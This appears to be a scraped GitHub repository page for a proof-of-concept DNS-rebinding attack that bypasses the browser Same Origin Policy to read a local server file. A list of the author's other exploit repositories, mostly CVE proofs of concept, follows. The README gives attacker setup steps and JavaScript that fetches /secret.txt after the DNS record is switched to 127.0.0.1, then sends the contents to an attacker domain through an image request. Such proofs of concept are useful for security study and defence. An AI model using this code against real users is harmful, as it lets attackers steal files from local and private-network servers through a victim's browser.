• Stars
    star
    195
  • Rank 199,374 (Top 4 %)
  • Language
    HTML
  • License
    MIT License
  • Created over 8 years ago
  • Updated over 5 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

🏴‍☠️ Bypass Same Origin Policy with DNS-rebinding to retrieve local server files 🏴‍☠️

Bypass Same Origin Policy - BY-SOP

Bypass Same Origin Policy with DNS-rebinding to retrieve local server file.

EDIT 30/01/2019: Another writeup from a CTF challenge thanks to @limbernie

EDIT 22/01/2018: Another example from @taviso, RCE on Blizzard games using DNS-Rebinding.

EDIT 15/01/2018: @taviso open a pull a request to fix a security issue (Remote Code Execution on Transmission) using this vulnerability. I think it's cool to have an real example on how hacker can use this attack :)

Goal : retrieve a file on a private server http://127.0.0.1/secret.txt This normaly should by impossible due to Same Origin Policy but we will use DNS-rebinding attack to bypass the SOP and retrieve the file.

This attack can be used to breach a private network by causing the victim's web browser to access machines at private IP addresses and returning the results to the attacker.

Important : use the same port, 127.0.0.1 is different from 127.0.0.1:8080, same with https (check this example)

Victim:

  • visit the malicious page for at least ~2-3 minutes (playing flash game, fill a form etc)

Attacker:

  • attacker setup a domain with the lowest TTL (60 second, 120 for CloudFlare )

  • one the victim visit the malicious page, he changes the dns IP of the domain with the local ip targeted

    • before foo.domain.com. 59 IN A 5.135.66.45
    • after foo.domain.com. 59 IN A 127.0.0.1

    Since the TTL is very short, the attacker will make another request to retrieve the private file AFTER the TTL time is up (> 59), the request has to do an additional DNS request

    setTimeout(function SOP_bypass() {
        $.get('/secret.txt', function(data) {
            // action with data
        });
    }, 180000); //3min to be sure

    However, by changing the DNS record in the meantime, the domain will resolve to the victim page with the local IP. There is no more Same Origin Policy and we can retrieve the content of the file.

  • the content is send to another domain to save the data

    setTimeout(function SOP_bypass() {
        $.get('/secret.txt', function(data) {
            // action with data
            var image = new Image();
            image.src='http://domain.com/save.php?'+data;
        });
    }, 180000); //3min to be sure

    The file save.php don't need to allow Cross-origin resource sharing (CORS) from 127.0.0.1:80 to accept the request. In fact, img are incompatible with SOP. But if you really want an execption, in PHP it can be done by adding this line header("Access-Control-Allow-Origin: *.domain.com");

  • finally we have:

        cat save.txt
        {"WIN{AweSome_ByPass_SOP}":""}

Setup

  • Use the file malicious.html, the file bypass_sop.html is the same but more for academic comprehension.

  • Add a subdomain with TTL 59 (120 in Cloudflare)

  • Add another subdomain and allow CORS from your domain if you use GET or just use image.src to bypass the restriction CORS

  • Victim

    • launch a local server http-server -p 80 Dir
    • launch the browser
    • go on sub.domain.com/malicious.html
  • Change the DNS ip

  • Wait

  • Get the result into the other subdomain you setup

image

Contributor

mpgn

Licences

licence MIT

References

More Repositories

1

BackupOperatorToDA

From an account member of the group Backup Operators to Domain Admin without RDP or WinRM on the Domain Controller
C++
389
star
2

Padding-oracle-attack

🔓 Padding oracle attack against PKCS7 🔓
Python
319
star
3

Spring-Boot-Actuator-Exploit

Spring Boot Actuator (jolokia) XXE/RCE
Java
318
star
4

poodle-PoC

🐩 Poodle (Padding Oracle On Downgraded Legacy Encryption) attack CVE-2014-3566 🐩
Python
246
star
5

CVE-2019-0192

RCE on Apache Solr using deserialization of untrusted data via jmx.serviceUrl
Python
209
star
6

CVE-2019-5418

CVE-2019-5418 - File Content Disclosure on Ruby on Rails
192
star
7

CVE-2019-19781

CVE-2019-19781 - Remote Code Execution on Citrix ADC Netscaler exploit
Python
155
star
8

CVE-2019-7238

🐱‍💻 Poc of CVE-2019-7238 - Nexus Repository Manager 3 Remote Code Execution 🐱‍💻
Python
149
star
9

Rails-doubletap-RCE

RCE on Rails 5.2.2 using a path traversal (CVE-2019-5418) and a deserialization of Ruby objects (CVE-2019-5420)
Ruby
133
star
10

discord-e2e-encryption

🔑 Tampermonkey script that encrypt and decrypt your messages on Discord 🔑
JavaScript
87
star
11

heartbleed-PoC

💔 Hearbleed exploit to retrieve sensitive information CVE-2014-0160 💔
Python
78
star
12

BEAST-PoC

💪 Proof Of Concept of the BEAST attack against SSL/TLS CVE-2011-3389 💪
Python
67
star
13

CVE-2018-17246

CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
58
star
14

CVE-2019-7609

RCE on Kibana versions before 5.6.15 and 6.6.0 in the Timelion visualizer
52
star
15

CVE-2019-9580

CVE-2019-9580 - StackStorm: exploiting CORS misconfiguration (null origin) to gain RCE
HTML
32
star
16

CVE-2019-3799

CVE-2019-3799 - Spring Cloud Config Server: Directory Traversal < 2.1.2, 2.0.4, 1.4.6
31
star
17

CRIME-poc

🔪 CRIME attack PoC : a compression oracle attacks CVE-2012-4929 🔪
Python
27
star
18

astudiaeth

Master CSI
TeX
26
star
19

CVE-2018-16341

CVE-2018-16341 - Nuxeo Remote Code Execution without authentication using Server Side Template Injection
Python
24
star
20

ntlmrelayx-prettyloot

Convert the loot directory of ntlmrelayx into an enum4linux like output
Python
21
star
21

CVE-2018-19276

CVE-2018-19276 - OpenMRS Insecure Object Deserialization RCE
Python
16
star
22

HallOfFame-Root-me.org

💀 Root-me Hall Of Fame dashboard 💀
Python
14
star
23

DllInjectExec

💉 Dll injection for executable file 💉
C++
13
star
24

Slanger-RCE

RCE in Slanger using deserialization of Ruby objects
Python
11
star
25

CVE-2018-3760

Rails Asset Pipeline Directory Traversal Vulnerability
8
star
26

ropycat

Scripts that allow you to copy/past text into another Windows process to bypass Citrix copy/paste limitation
C#
8
star
27

CVE-2019-9978

CVE-2019-9978 - RCE on a Wordpress plugin: Social Warfare < 3.5.3
8
star
28

discourse-cookie-token-domain

🍪 Allow to setup cookie token to authenticate user 🍪
Ruby
7
star
29

CVE-2018-11686

CVE-2018-11686 - FlexPaper PHP Publish Service RCE <= 2.3.6
Python
6
star
30

ShareP0wn

ShareP0wn
Python
6
star
31

copper-jekyll-theme

Copper Jekyll theme - simple and useful
CSS
5
star
32

YTC-ID

📌 Get the YouTube channel ID ! 📌
HTML
4
star
33

DllInjectService

💉 Dll ready to be injected into a service 💉
C++
4
star
34

docker_dashboard

Python
4
star
35

impacket-cme

Python
2
star
36

AChat-Reverse-TCP-Exploit

Tested on AChat 0.150 Beta 7 Windows 7/8/10 x86/x64
Python
2
star
37

Ipsum

Small app for YouTube Network. Get a free submit form for YouTube Channel who want join your network. With AngularJS
JavaScript
1
star
38

Pyrox

For Youtube Network with YouTube API V3 Public
PHP
1
star
39

swindle

Swindle is a project for YouTube Network
PHP
1
star